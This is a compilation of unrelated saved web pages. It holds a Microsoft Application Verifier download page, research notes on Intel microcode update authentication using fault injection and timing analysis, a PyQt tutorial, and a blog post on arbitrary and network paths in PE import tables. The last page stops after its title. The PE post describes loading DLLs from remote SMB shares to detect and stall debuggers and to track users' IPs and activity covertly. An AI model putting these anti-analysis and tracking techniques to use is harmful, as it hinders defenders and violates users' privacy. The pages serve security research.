Application Verifier is designed specifically to detect and help debug memory
corruptions and critical security vulnerabilities.  
This is achieved by monitoring a native application's interaction with the
Windows operating system, profiling its use of objects, the registry, the file
system, and Win32 APIs \(including heaps, handles, locks, etc\), and
indicating issues when and where they are discovered.  
Application Verifier also includes checks to predict how well an application
may perform under various account privileges. These compatibility tests are
used in Windows Logo program.  
Print verification tests are also available to verify your usage of the print
subsystem.  
  

<img src='img/Temp2_2378.jpg' /> Top of page

#### System Requirements

  * **Supported Operating Systems:** Windows Server 2003; Windows Server 2008; Windows Vista; Windows XP

Application Verifier can be used with any unmanaged application or program. In
order to test with Application Verifier,  
• You must be an administrator on the system that you are using in order to
run Application Verifier.  
• You must run your project with the tool turned on and go through your
testing scenarios  
• The system must be running a supported Windows platform: Windows XP, Windows
Server 2003, Windows Vista.  
• Application Verifier supports x86, x64 and IA64 platforms  
• If full page heap is enabled, you will need to ensure you have a large page
file \(e.g. 1Gb\).  
• The Basics verification layer will require that you run your application
under a debugger.  
Note: WinPE is not supported with this release of Application Verifier

<img src='img/Temp2_2378.jpg' /> Top of page

#### Instructions

To install Application Verifier:  
1\. Select from the list below the appropriate platform.  
2\. Click the file name.  
3\. When prompted, do one of the following:  
• To start the installation immediately, click Open or Run this program from
its current location.  
• To copy the download to your computer for installation at a later time,
click Save or Save this program to disk.  
To run Application Verifier:  
1\. Upon completion of your installation, you will be provided an “Application
Verifier” menu option off your “Programs” menu. You may use this to launch the
tool, or by running “AppVerif.exe” directly.  
2\. Once running, select “Add Application” off the “File” menu, and select
your application.  
3\. At this point, you may choose to “Exit” with and accept the default
setting, or modify your settings to target specific tests. Please refer to the
provided help for details on what checks may best serve your needs.  

<img src='img/Temp2_2378.jpg' /> Top of page

#### Additional Information

This release includes fixes in the following areas:  
• Basics: New threadpool stop for inconsistent timer parameters.  
• Print: Infrastructure improvements for XPSDrv coverage.  
• Print: New verifier stop when a print driver alters the security context
when returns to spooler\core driver.  
• Print: New coverage for IPrintOemUIMXDC print driver interface.  
• Print: New fault injections features for the Print subsystem.  
• Print: Infrastructure improvements for XPSDrv coverage.  
• Print: Added checks to ensure all virtual memory pages for input DEVMODEs
are more readable.  
• LUAPriv: Disable logging of information entries to reduce log file size.  
• Help documentation updates  
• Print: Improved descriptiveness of the print stops.  
  
  
  
Don't forget about our key additions/changes from previous releases:  
• Basics: Added support for RtlTimer and RtlWait. Added detection of
SetProcessAffinity mask calls in the threadpool tests. Added two new stops
within the memory checks \(creating executable heap & allocating executable
memory\). Increased the size of the capture stack traces.  
• Debugger message: The informational message displayed when you select a set
of tests that require running under a debugger previously had a bad link that
was fixed.  
• Help documentation updates.  
• Print: Added runtime verification for Print Ticket driver and application
APIs as well as the Print Filter Pipeline components.  
  
• Ability to script, for those advanced users, check out the SDK shipped in
the package for more details.  
• Log location change. Logs will no longer be stored in Documents and
Settings\All Users\Documents\AppVerifierLogs & Documents and Settings\All
Users\AppVerifierLogs. Instead, they will be placed in
%USERPROFILE%\AppVerifierLogs.  
  
Known Issues  
Help documentation does not have details regarding the LFHGuardPages property
found in the Heaps tests.  
Scripting:  
1\. If you disable all of the checks in IAppVerifierImageChecks then the image
is no longer under verification. You must then re-add the image to the images
collection in IAppVerifierManager. So be careful when removing checks from the
collection that you don’t inadvertently delete the last one.  
2\. IAppVerifierImageCheck::get\_Properties and
IAppVerifierImageCheck::get\_Stops will fail with E\_FAIL if the check is not
enabled. If you are using these interfaces from languages that support the
"FOREACH" construct you will need to check that the check is enabled before
enumerating the collection using "FOREACH".  
  
Customers who previously installed Application Verifier via the Application
Compatibility Toolkit v3 please read. Installing Application Verifier today
will not overwrite your existing Application Compatibility install. You will
have two instances of Application Verifier on your machine \(2.5 and 3.x\).
You will be able to use each of these, but note that if you are running both
simultaneously on the same application then the 3.x settings take precedence.
That is unless you are using tests that are not yet found in the 3.x release.  
  
Setup install and uninstall with previous versions of your machine. If you
install this release over 3.0.0026 you will see two desktop icons \(both will
launch the latest\) and two listings in the Add/Remove programs \(newest
version will have 3.x next to it\)

<img src='img/Temp2_2378.jpg' /> Top of page

#### Files in This Download

The links in this section correspond to separate files available in this
download. Download the files most appropriate for you.

File Name:| File Size|  
---|---|---  
ApplicationVerifier.amd64.msi| 14.8 MB|  
ApplicationVerifier.ia64.msi| 15.6 MB|  
ApplicationVerifier.x86.msi| 7.6 MB|  
<img src='img/Temp2_2378.jpg' /> Top of page

#### Related Resources

  1. How to use Page Heap
  2. Using Application Verifier Within Your Software Development Lifecycle
  3. Application Compatibility Toolkit
  4. Page Heap Enhancements

<img src='img/Temp2_2378.jpg' /> Top of page

#### What Others Are Downloading

Others who downloaded **Microsoft Application Verifier** also downloaded:

  1. Windows 7 Client Software Logo Program
  2. Microsoft Windows SDK for Windows 7 and .NET Framework 3.5 SP1
  3. Windows Installer 4.5 Redistributable
  4. Windows 7 Training Kit For Developers
  5. Microsoft Network Monitor 3.3

<img src='img/Temp2_2378.jpg' /> Top of page  
Manage Your Profile |Contact Us© 2009 Microsoft Corporation. All rights
reserved. Contact Us |Terms of Use |Trademarks |Privacy Statement  
---  
<img src='img/Temp2_2379.jpg' width='0' height='0' />

# Notes on Intel Microcode Updates

**Created:**| _4/2/2013 7:00:01 PM_  
---|---  
**Updated:**| _4/2/2013 7:00:01 PM_  
**Author:**| __  
**Tags:**| _asm x86_  
  

# Notes on Intel Microcode Updates

**Notes on Intel Microcode Updates**  
Ben Hawkes <hawkes@inertiawar.com>  
December, 2012 - March, 2013  
  
html  \- pdf  
  
**Introduction**  
  
All modern CPU vendors have a history of design and implementation defects,
ranging from relatively benign stability  
issues to potential security vulnerabilities. The latest CPU errata release
for second generation Intel Core processors  
describes a total of 120 "erratums", or hardware bugs. Although most of these
errata bugs are listed as "No Fix", Intel  
has supported the ability to apply stability and security updates to the CPU
in the form of microcode updates for well  
over a decade\*.  
  
Unfortunately, the microcode update format is undocumented. Researchers are
currently prevented from gaining any  
sort of detailed understanding of the microcode format, which means that it is
impossible to study the updates to clearly  
establish whether any security issues are being fixed by microcode patches.
The following document is a summary of  
notes I gathered while investigating the Intel microcode update mechanism.  
  
_\* The earliest Intel microcode release appears to be from January 29, 2000.
Since that date, a further 29 distinct  
microcode DAT files have been released._  
  
**Acknowledgements**  
  
The initial idea to study Intel's microcode update mechanism was inspired
directly from Tavis Ormandy's exploratory  
work on this subject in 2011. Furthermore, I'd like to thank Emilia Kasper,
Tavis Ormandy, Gynvael Coldwind and  
Thomas Dullien for their outstanding technical assistance and encouragement.  
  
**How does the microcode update mechanism work?**  
  
Microcode updates are applied to a CPU by writing the virtual address of the
Intel-supplied undocumented binary blob  
to a model-specific register \(MSR\) called IA32\_UCODE\_WRITE. This is a
privileged operation that is normally performed  
by the system BIOS at boot time, but modern operating system kernels also
include support for applying microcode  
updates.  
  
The BIOS \(or operating system\) should verify that the supplied update
correctly matches the running hardware before  
attempting the WRMSR operation. In order to do so, each microcode update comes
packaged with a short header  
containing various update metadata. The header is documented by Intel in
Volume 3 of the Developer's Manual. It  
contains three pieces of information required for validation: the microcode
revision, processor signature, and processor  
flags.  
  
The microcode revision is an incremental version number - you can only
successfully apply an update if the current  
microcode revision is less than the revision supplied. The BIOS will typically
extract the current microcode revision by  
issuing a RDMSR called IA32\_UCODE\_REV and then compare this value against
the revision contained in the new  
microcode update's header.  
  
The processor signature is a unique representative of the hardware model that
the microcode will apply to. The  
signature of the running hardware can be retrieved using the CPUID
instruction, and then compared against the value  
supplied in the microcode header. According to Intel, "each microcode update
is designed specifically for a given  
extended family, extended model, type, family, model, and stepping of the
processor.". The processor flags field is  
similar, Intel says: "the BIOS uses the processor flags field in conjunction
with the platform Id bits in MSR \(17H\) to  
determine whether or not an update is appropriate to load on a processor."  
  
Once a microcode update has been applied using IA32\_UCODE\_WRITE, the BIOS
will typically issue a CPUID  
instruction and then read the IA32\_UCODE\_REV MSR again. If the revision
number has increased, the update was  
applied successfully.  
  
**Observation \#1 - What does a microcode update look like?**  
  
Since 2008 Intel has regularly released DAT files containing the most up to
date microcode revisions for each  
processor. Prior to this, microcode update data was shipped as part of the
open source tool microcode\_ctl. An archive  
of all microcode DAT releases can be found here .  
  
So what does the undocumented blob portion of the microcode update look like?
It appears that there is at least two  
different formats to the undocumented blob, the old format being used up until
Pentium 4 and certain early models of the  
Intel Core 2, and the new format used from that point onwards. This article
covers the new style format only.  
  
The follow graphic shows a microcode update for an Intel Core i5 M460 \(i.e.
with the documented microcode header  
stripped\):

<img src='img/Temp2_5637.png' />

It is immediately clear that there is a plaintext structure \(96 bytes in
length\) at the start of the undocumented blob. Some  
easily identifiable fields are colorized:  
  
\- <img src='img/Temp2_5628.png' /> Microcode revision number.  
\- <img src='img/Temp2_5634.png' /> Release date \(note that this date is
sometimes one day prior to the microcode header date\).  
\- <img src='img/Temp2_5635.png' /> Real length of microcode update \(counted
in 4-byte words\).  
\- <img src='img/Temp2_5631.png' /> Processor signature.  
  
And some less easily identifiable fields that appear to be in common usage are
marked in grey:  
  
\- <img src='img/Temp2_5629.png' /> Possible flags field? May not be in use in
recent hardware types.  
\- <img src='img/Temp2_5636.png' /> Possible loader version?  
\- <img src='img/Temp2_5630.png' /> Possible length field \(when non-zero\)?
Not consistently used.  
  
**Observation \#2 - Is there any structure in the microcode update after the
96 byte header?**  
  
Most of the data located after the 96 byte header appears to be random and
without structure. However, performing a  
longest common substring analysis on an archive of every unique microcode
update \(available in binary format here \)  
showed that different revisions for the same \(or similar\) processor
signatures will share some common byte strings:

<img src='img/Temp2_5623.png' />

In this figure, two distinct strings have been identified:  
  
\- In green, a 2048-bit string that is constant between microcode revisions.  
\- In red, a 32-bit string that is constant for all microcode updates using
the new style format.  
  
In total, 12 unique 2048-bit strings were found to be shared across 24
processor signatures. The extracted data is  
available here  \(in the format <2048-bit string> \).  
  
Note that 2048-bits is a commonly used length for an RSA modulus, and that
0x00000011 \(decimal 17\) is a commonly  
used value for an RSA exponent. This suggests that these common strings may be
an RSA public key. Further  
evidence to support this claim is that:  
  
\- Each of the values are strictly 2048 bit in length, i.e. the most
significant bit is always set.  
\- None of the values are trivially factorable by 2, i.e. the values are all
odd numbered.  
\- None of the values are factorable by any value between 2 and 2^32.  
  
**Observation \#3 - Can the length of the microcode update be verified?**  
  
The length field of the 96-byte microcode header \(shaded in green in fig 1\)
can be verified using a fault injection analysis.  
The idea is to sequentially mutate each byte of a valid microcode update,
attempt to apply the update, and record  
whether the update was applied successfully or not.  
  
The underlying assumption here is that the CPU should validate the integrity
of the microcode update, but may not  
validate the integrity of padding \(since microcode updates must be a multiple
of 1024, it is assumed that padding is  
normally required\).  
  
Testing on an Intel Core i5 M460 \(sig 0x20655, pf 0x800\), the expected
length of the microcode update \(in revision 3\) is  
1668 bytes \(0x1a1 \* 4\). Sequentially flipping a bit in each byte from
offset 0 to 2000 and waiting for the first successfully  
applied update gives the following results:

<img src='img/Temp2_5627.png' />

This result was observed on Intel Core 2 Duo P9500, Intel Core i5 M460 and
Intel Core i5 2520M chips. For all other  
experiments below, results were reproduced on Intel Core i5 M460, Intel Core
i5 2520M, and Intel Xeon W3690 chips.  
  
**Observation \#4 - How many cycles does an update take to be applied
successfully?**  
  
To collect the average number of cycles the CPU took to successfully apply a
microcode update, a specialized system  
was setup that would:

  1. Boot the system with an initial microcode revision.
  2. Install a Linux kernel module that:

  1. Invalidate caches \(wbinvd\)
  2. Stop instruction prefetch \(sync\_core\)
  3. Disable interrupts for the running core \(local\_irq\_disable\)
  4. Record time stamp counter \(rdtsc\)
  5. Apply the next microcode update revision \(wrmsr MSR\_IA32\_UCODE\_WRITE\)
  6. Record time stamp counter

  * Record the rdtsc delta in syslog
  * Reboot

The cache invalidation and interrupt disable were intended to reduce variance
in the timing delta. Rebooting is required  
to reset the system to the original microcode revision, as successfully
applied revisions must be strictly incremental.  
  
The exact cycle value will vary significantly between different types of
hardware \(older hardware was observed to take  
significantly more cycles\), however a baseline value can be used in further
timing analysis on the same hardware. For  
example, the baseline average time delta across 2000 applications of microcode
revision 3 for an Intel Core i5 M460 is:  
  
_Average:_ 488953 cycles  
 _Sample standard deviation:_ 12270 cycles  
  
The high variation in the sample deltas collected is presumed to be caused by
multi-core systems. If the microcode  
update mechanism has to achieve a consistent state across all available
instruction pipelines \(including consistency  
across hyperthreads, prefetched instructions, instruction caches on all
cores\), this could result in a high level of  
variance, as the collection mechanism used here only "cleans" internal state
for the running core.  
  
**Observation \#5 - Do the number of cycles change depending on the location
of a fault?**  
  
Using the baseline timing delta above, it is possible to find deviations by
flipping every possible bit position in the  
microcode update and attempting to apply the malformed update. All of these
update attempts will fail, but the idea is  
that certain fields may be treated differently by the microcode update
mechanism, and that this may show up in the  
cycle delta.  
  
Running this test on an Intel Core i5 M460 gives the following results:

<img src='img/Temp2_5624.png' />

This chart shows the results of the first 1000 bit positions being flipped.
Three distinct areas of interest can be seen. All  
other bit position above 1000 return a cycle count matching the failure case
seen above.  
  
The first area of interest, between bit offsets 32 and 63, corresponds to an
unknown word the in the 96-byte header that  
always has value 0x000000a1. This may serve as a magic value, checked when the
microcode is first loaded to ensure  
that an expected format has been received.  
  
The second area of interest is a single bit at offset 64, which appears to
correspond to a flags field. In the original  
analysis, this bit was set. However, clearing the bit and repeating the
analysis shows identical results to figure 4, except  
with a significantly lower average count of cycles for the "normal" failure
case. The decrease in cycle count appears to  
be proportional to the number of physical cores on the system, which may
suggest this bit is used to decide whether the  
update will be iteratively applied to all cores, or only applied on a single
core.  
  
The third area of interest, between bit offsets 233 and 253, corresponds to
the microcode size field.  
  
**Observation \#6 - What happens of the microcode size field is modified?**  
  
Modifying each bit position results in an incrementally higher cycle count. To
investigate this further, a second analysis  
was run that records the cycle count for each size value between 0 and 10000.
The following shows the results of this  
analysis on an Intel Core i5 2520M:

<img src='img/Temp2_5633.png' />

In this chart we can see a clear correlation between an increasing size value
and an increasing cycle count. This chart  
appears to also show artifacts from running this system on a multi-core system
\(note that the i5 2520M is a quad core  
processor, and that four main trend lines can be seen\).  
  
Running the size modification analysis with an incorrect magic value \(i.e.
replacing 0x000000a1 with a different value\)  
results in a flat chart with no correlation between value and cycle count.
This suggests that the magic value is checked  
prior to the size value being used.  
  
Due to the high level of noise while running this analysis on a multi-core
system, the analysis was rerun with symmetric  
multiprocessing \(SMP\) and HyperThreading disabled. A clear linear
correlation between length value and cycle count is  
seen. The follow data is taken from an Intel Core i5 2520M:

<img src='img/Temp2_5632.png' />

With this cleaner data, it is possible to observe new timing behavior. By
displaying a smaller sample, clear timing  
shelves are seen as the size value increases:

<img src='img/Temp2_5626.png' />

By observing the individual points of the timing shelves, it is clear that
each timing shelf has 16 points. Since each single  
increase in size value corresponds to a 4-byte increase in microcode data, 16
points represents 512 bits of data.

<img src='img/Temp2_5625.png' />

512-bits is the standard message block size for popular cryptographic hash
functions such as MD5, SHA1 and SHA2.  
The timing shelves observed match what we would expect from a Merkle-Damgard
hash function, as each new shelf  
represents the increase number of cycles required to process a new message
block.  
  
In public-key signature schemes, it is normal to sign a hash of the data
message instead of signing the entire message  
contents. This means that a hash operation being observed in the early stages
of the microcode loader process is an  
expected result.  
  
The lack of timing artifacts corresponding to symmetric key algorithm block
sizes \(i.e. 128-bits\) may also indicate that  
authentication of the microcode contents is occurring prior to decryption of
the microcode contents \(i.e. the cipher-text is  
authenticated\). Given the space constraints of a modern CPU architecture,
this design is not entirely unexpected, as it  
allows the processor to load the decrypted content directly, without having to
store the plaintext for authentication  
purposes.  
  
**Observation \#7 - What other data is in the first 704 bytes of a microcode
update?**  
  
Note that the first shelf is observed after supplying a size value of 176 \(or
704 bytes of microde data\), and that supplying  
a size value of 704 bytes or less results in a constant timing shelf. This
would suggest that there exists a minimum  
length of non-variable-length data that will be hashed regardless of the
supplied microcode size field. This data includes  
the undocumented microcode header and the RSA public key that has been
discussed above.  
  
If we assume that the presence of an RSA public key suggests the usage of RSA
as a digital signature algorithm, then it  
stands to reason that an RSA signature will be found in the microcode update.
If this signature value is calculated using  
the public key embedded in the microcode update, then we would expect to find
a 2048-bit value that is strictly less than  
the modulus value \(since the signature is calculated using this modulus\).  
  
Examining the 2048-bits that are contiguously after the public key exponent
value \(0x00000011\), we find a valid  
candidate for an RSA signature. In every case, the 2048-bit value after the
exponent is strictly less than the 2048-bits  
prior to the exponent \(the presumed RSA modulus\).  
  
We can attempt to recover the originally signed data by raising the signature
value to the power of 0x00000011 and then  
using the modulus value. The results of this operation can be found here . The
format of this file is <processor signature>  
<microcode version> <result>.  
  
The result appears to use PKCS\#1 v1.5 padding, with a private-key operation
set for the block type. It is also clear that  
earlier processor models used a 160-bit digest for the signature hash, which
is consistent with SHA1. Later processor  
models use a 256-bit digest, which is consistent with SHA2.

<img src='img/Temp2_5622.png' />

All attempts at recreating these hash values using standard SHA
implementations have failed. Several non-standard  
variations of Merkle-Damgard strengthening were also attempted. This may
indicate that a non-standard initial vector or  
some other non-standard structural variation is used when calculating the
signed hash value.  
  
Attempts to insert a new public key and signature for the same PKCS\#1 signed
data into the microcode also failed,  
which suggests that the public key is part of the authenticated data, or that
a hash of the expected/official public key is  
stored in factory embedded memory and verified after authentication.  
  
Interestingly, it was observed that setting the most significant word of the
public key modulus to zero results in a  
hardware reset \(in the case of a single core system, this manifests as a
hardware halt/freeze, not a system restart\).  
This may suggest a "division by zero" error exists in the microcode
authentication routine.  
  
**Conclusion**  
  
Studying the Intel microcode update mechanism through data analysis and timing
analysis has revealed properties  
about the cryptographic design of this system:

  * Several previously undocumented header fields have been identified and described.
  * The results suggest that microcode updates are authenticated using a 2048-bit RSA signature.
  * The RSA signature operation appears to be constant-time \(i.e. unaffected by changes to the supplied exponent,  
modulus or signature value\).

  * Timing analysis reveals 512-bit steps correlating to supplied microcode length. This is a common message  
block size for cryptographic hash functions such as SHA1 and SHA2

  * The RSA signature was located, and the signed data is a PKCS\#1 1.5 encoded hash value. Older processor  
models use a 160-bit digest \(SHA1\), and newer process models use a 256-bit
digest \(SHA2\).

# Eli Bendersky’s website » Blog Archive » Passing extra arguments to PyQt
slots

**Created:**| _4/25/2011 12:41:43 PM_  
---|---  
**Updated:**| _4/25/2011 12:41:43 PM_  
**Author:**| __  
**Tags:**| _bookmark python qt_  
  

## Passing extra arguments to PyQt slots

April 25th, 2011 at 1:38 pm

A frequent question coming up when programming with PyQt is how to pass extra
arguments to slots. After all, the signal-slot connection mechanism only
specifies how to connect a signal to a slot – the signal’s arguments are
passed to the slot, but no additional \(user-defined\) arguments may be
directly passed.

But passing extra arguments can be quite useful. You can have a single slot
handling signals from multiple widgets, and sometimes you need to pass extra
information.

One way to do this is using `lambda`. Here’s a complete code sample:

[code]

    from PyQt4.QtCore import *
    from PyQt4.QtGui import *
    
    class MyForm(QMainWindow):
        def __init__(self, parent=None):
            super(MyForm, self).__init__(parent)
            button1 = QPushButton('Button 1')
            button2 = QPushButton('Button 1')
            button1.clicked.connect(lambda: self.on_button(1))
            button2.clicked.connect(lambda: self.on_button(2))
    
            layout = QHBoxLayout()
            layout.addWidget(button1)
            layout.addWidget(button2)
    
            main_frame = QWidget()
            main_frame.setLayout(layout)
    
            self.setCentralWidget(main_frame)
    
        def on_button(self, n):
            print('Button {0} clicked'.format(n))
    
    if __name__ == "__main__":
        import sys
        app = QApplication(sys.argv)
        form = MyForm()
        form.show()
        app.exec_()
    
[/code]

Note how the `on_button` slot is used to handle signals from both buttons.
Here we use `lambda` to pass the button number to the slot, but anything can
be passed – even the button widget itself \(suppose the slot wants to
deactivate the button that sent the signal\).

There’s an alternative to `lambda` – using `functools.partial`. We can replace
the connection lines with:

[code]

    button1.clicked.connect(partial(self.on_button, 1))
    button2.clicked.connect(partial(self.on_button, 2))
    
[/code]

Which method is better? It’s really a matter of style. Personally, I prefer
the `lambda` because it’s more explicit and flexible.

Related posts:

  1. New-style signal-slot connection mechanism in PyQt
  2. Problem passing arguments to Python scripts on Windows
  3. Creating splash screens in PyQt
  4. deep signal comparison, memoization
  5. Python insight: beware of mutable default values for arguments

# PE Import Table and custom DLL paths | j00ru//vx tech blog
**Created:**| _7/19/2011 7:13:09 PM_  
---|---  
**Updated:**| _7/19/2011 7:13:09 PM_  
**Author:**| __  
**Tags:**| _reversing windows environment pe_  
  

\{ 2011 07 03 \}

## PE Import Table and custom DLL paths

Once upon a time, an interesting software vulnerability vector called DLL
Hijacking became very popular, thanks to a Slovenian security research outfit
– ACROS Security, as well as HD Moore and his DLL Hijacking Audit Kit. In
short, the vulnerability class allowed an attacker to execute arbitrary code
in the context of an application, which had been used to open an associated
file from a remote share. The root cause of its existence was a combination of
the three, following facts:

  1. When opening a file from a remote share \(such as WebDAV\), the application’s _Current Working Directory_ is set to the remote share path,
  2. Using the LoadLibrary API with a relative path results in following a _\(Safe\) Dynamic-Link Library Search Order_. When the specified library cannot be found in the program’s directory and system folders, it is loaded from the CWD,
  3. Some \(flawed\) applications try to load non-existent modules by their names \(and react accordingly, if the DLL is not found\).

The first two points have been well-documented in the MSDN Library, while the
latter one was quite a typical Windows developers’ attitude, until the
vulnerability class drew so much public attention. In this post, I would like
to describe an idea, which I \(together with gyn\) had long before the DLL
Hijacking hype. It is actually the very opposite of the previous concept –
this time, our interest is primarily focused around static _Portable
Executable_ imports \(rather than dynamic ones\), and complex paths, instead
of straight-forward library names \(e.g. _dx9draw.dll_\). The concept was than
developed \(and implemented, in the form of a straight-forward SMB server\) by
Gynvael Coldwind, which I would like to thank here.

A great majority of the Windows executable images contains an Import Table – a
list of external modules \(and their exported functions\), which are utilized
by the considered application. Each imported module is described by the
following structure:

[code]

    typedef struct _IMAGE_IMPORT_DESCRIPTOR {
      _ANONYMOUS_UNION union {
        DWORD Characteristics;
        DWORD OriginalFirstThunk;
      } DUMMYUNIONNAME;
      DWORD TimeDateStamp;
      DWORD ForwarderChain;
      DWORD Name;
      DWORD FirstThunk;
    } IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
[/code]

The Import Table consists of numerous IMAGE\_IMPORT\_DESCRIPTOR structures,
and serves as information for the Windows PE loader, residing inside
ntdll.dll. Out of all the fields, we are mostly interested in _Name_ , whose
meaning is described in the official Microsoft PE and COFF Specification as
follows:

**Offset**| **Size**| **Field**| **Description**  
---|---|---|---  
…| …| …| …  
12| 4| Name RVA| The address of an ASCII string that contains the name of the
DLL. This address is relative to the image base.  
…| …| …| …  
Apparently, the authors of the document didn’t consider the field worth being
described in more detail, thus several issues – e.g. what the string can, or
cannot be – remain unknown. In order to figure out, how the import parsing is
actually performed, we have to take a look ntdll.dll, or more specifically,
**ntdll\!LdrpMapDll**. The routine is used to map a certain DLL file into the
local process context, and is used by both process-initialization, and dynamic
library loading code. It first translates the user-specified path into an
internal NT format:

[code]

    .text:7C91C617                 push    ebx             ; int
    .text:7C91C618                 push    ebx             ; int
    .text:7C91C619                 lea     eax, [ebp+var_48]
    .text:7C91C61C                 push    eax             ; int
    .text:7C91C61D                 push    [ebp+var_38]    ; wchar_t *
    .text:7C91C620                 call    _RtlDosPathNameToNtPathName_U@16 ; RtlDosPathNameToNtPathName_U(x,x,x,x)
    .text:7C91C625                 test    al, al
    .text:7C91C627                 jz      loc_7C94073E
    .text:7C91C62D                 lea     eax, [ebp+var_20]
    .text:7C91C630                 push    eax
    .text:7C91C631                 push    [ebp+arg_8]
    .text:7C91C634                 lea     eax, [ebp+var_88]
    .text:7C91C63A                 push    eax
    .text:7C91C63B                 push    [ebp+var_98]
    .text:7C91C641                 lea     eax, [ebp+var_48]
    .text:7C91C644                 push    eax
    .text:7C91C645                 call    _LdrpCreateDllSection@20 ; LdrpCreateDllSection(x,x,x,x,x)
[/code]

and then creates a section in the local memory context, based on the DLL
contents:

[code]

    .text:7C91C923 ; __stdcall LdrpCreateDllSection(x, x, x, x, x)
    .text:7C91C923 _LdrpCreateDllSection@20 proc near      ; CODE XREF: LdrpMapDll(x,x,x,x,x,x)+7DD p
    .text:7C91C923
    (...)
    
    .text:7C91C955                 mov     [ebp+var_20], 18h
    .text:7C91C95C                 mov     [ebp+var_1C], ebx
    .text:7C91C95F                 mov     [ebp+var_14], 40h
    .text:7C91C966                 mov     [ebp+var_10], ebx
    .text:7C91C969                 mov     [ebp+var_C], ebx
    .text:7C91C96C                 call    _NtOpenFile@24  ; NtOpenFile(x,x,x,x,x,x)
    .text:7C91C971                 mov     esi, eax
    .text:7C91C973                 cmp     esi, ebx
    .text:7C91C975                 jl      loc_7C93F968
    .text:7C91C97B
    .text:7C91C97B loc_7C91C97B:                           ; CODE XREF: LdrpCreateDllSection(x,x,x,x,x)+18D j
    
    (...)
    
    .text:7C91C98D                 push    esi
    .text:7C91C98E                 call    _NtCreateSection@28 ; NtCreateSection(x,x,x,x,x,x,x)
    
    (...)
[/code]

The _NtOpenFile_ call can be, in turn, translated into the following C-like
code \(with all the parameters’ flags translated\):

[code]

    NtOpenFile(&FileHandle,
               SYNCHRONIZE | FILE_EXECUTE
               &ObjectAttributes,
               &IoStatus,
               FILE_SHARE_READ | FILE_SHARE_DELETE,
               FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT);
[/code]

As can be seen, one can set the imported DLL name to any path, which can be
successfully represented in the low-level NT format, and can be opened with
the above flags. Consequently, it is possible to use data files, logical,
virtual, and physical devices and volumes, represented by absolute, relative,
and **network** paths. This observation provides a great deal of possible
\(more or less\) interesting usages, some of which are described in the
following sections.

## Absolute paths

Making use of absolute paths makes it possible for the application developer
to specifiy one, specific library to be loaded, regardless of any additional
factors, such as _Dynamic-Load Library Search Order_. For example, one might
want to use the following path:

[code]

    C:\Program Files\Custom Application\kernel32.dll
[/code]

in order to import from a custom library called _kernel32.dll_ \(normally
impossible, kernel32 being one of the Known Dlls\). One has to keep in mind,
however, that hard-coding an absolute path may result in program
unreliability, i.e. every time the location of the required DLL is different
from the expected one, the process will not be created.

<img src='img/Temp2_5994.png' width='483' height='182' />

## Relative paths

Thanks to relative paths used in the context of PE imports, a developer
doesn’t have to put all of the dependencies into the main executable’s
directory. Instead, one can group the modules by putting them into separate
folders, and link to them using paths such as “\Network\Winsock.dll”. Another
possible usages of relative paths might be to take advantage of the ..\
marker, e.g. reference a library on the root of the currently considered path
\(with regard to the standard search order\):

[code]

    \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\module.dll
[/code]

provided that the original path is no more than sixteen-level deep.

## Network paths

Specifying remote shares as the DLL import filename is by far the most useful
and interesting field of the discussed area. This is mainly a consequence of
the fact, that the concept can be used to interact with remote machines over
the internet, creating plenty attractive possibilities. Let’s take a look…

#### Debugger detection and disruption

Since all of the modern, mainstream debuggers aim to provide advanced and
complex functionality to the reverser / developer, they are _forced_ to
actively interact with the executable images, loaded in the context of the
analyzed program. One example of such functionality might be Symbol Management
– in order to find and apply the internal names, a debugger must first search
for PDB \(or other\) files, open the images, parse their Export Tables, and so
on. When one \(or more\) DLLs are loaded from a remote share, the debugger
starts to use the network, as well – and that’s where we can really _break_
something.

Let’s take a look at the Process Monitor output, generated upon launching an
Ollydbg instance with a specially crafted target \(importing from
\\\127.0.0.1\c\a.dll\):

<img src='img/Temp2_5993.png' width='758' height='383' />

    Ollydbg in action
Apparently, the debugger sends numerous requests, in search of symbol files,
associated with one of the loaded modules. Unfortunately, the remote server
receives these requests, and is able to react, accordingly. This very same
behavior can also be observed for Immunity Debugger, for obvious reasons. When
it comes to the remaining debuggers – Windbg and IDA Pro Debugger, the results
are as follows:

<img src='img/Temp2_5997.png' width='759' height='397' />

    WinDbg in action
<img src='img/Temp2_5996.png' width='759' height='279' />

    IDA Pro Advanced in action
As shown, all of the commonly-used debuggers \(with their default
configuration\) try to find several, external debugging files at the remote
server \(worst case\), or at least open the file \(list its directory etc\).
The question is – how can a server react, knowing that an application is being
debugged somewhere in the net? Personally, I can see two possible options:

  1. Perform a high-latency attack, i.e. reply to the debugger’s file requests in a very slow manner. By sending a single byte every ten seconds, it would take forever for the debugger to load the entire file \(if there was any file, at all\), and the reverser would have to give up \(or find another way to perform the analysis\). One would have to adjust the latencies in such a way, that the connection doesn’t get closed due to a timeout; this, however, is just a matter of a few empirical tests,
  2. Import two libraries from a remote server; then use one for anti-debugging purposes \(so that the server observes the accompanying network traffic\), and then the other one for regular purposes – the server can provide the application with a fake second DLL, if a background debugger is detected.

In general, I find the technique very amusing, and realize it is not the most
reliable one. Even though I don’t know any way to disable the symbol-searching
process in most of the discussed debuggers, I suppose that dumping the remote
executable image on disk, and changing the import name to a local path would
be enough to defeat the concept \(unless additional protection measures would
not be applied\). <img src='img/Temp2_5995.png' alt=':-)' />

#### Automatic updates

Obviously, network paths could be used for a more practical purpose. Instead
of updating the executable files by downloading their new versions on the hard
drive, an application can simply download the file from a network share every
time it is launched, which guarantees the usage of the newest, up-to-date
image version.

#### Users’ IP and activity monitoring

The fact that a SMB server is informed every time when a program is executed,
can be taken advantage of in order to monitor various factors, such as daily
users’ activity \(i.e. the number of application launches\), IP addresses, and
other kind of information, which can be retrieved or deducted, based on the
number, time, and contents of the incoming requests.

## Conclusion

To sum everything up, custom paths in static PE imports can be really useful
in certain situations, and the _feature_ is worth to be kept in mind. Please,
stay tuned for the upcoming blog posts \(not only Sunday Blog Entries\), since
some awasome, fresh Elevation of Privileges \(and other\) vulnerabilities are
going to be discussed here, past July’s Microsoft Patch Tuesday. Cheers\!

  *[2011 07 03]: 2011-07-03T12:27:28+0000

# Install XP from USB

**Created:**| _7/30/2009 8:09:08 AM_  
---|---  
**Updated:**| _7/30/2009 8:09:33 AM_  
**Author:**| __  
**Tags:**| _security tools Live Distri USB_  
  
**\*\*\*\*\* USB\_MultiBoot.cmd - Install XP from USB \*\*\*\*\***  
  
 **1\. Introduction**  
  
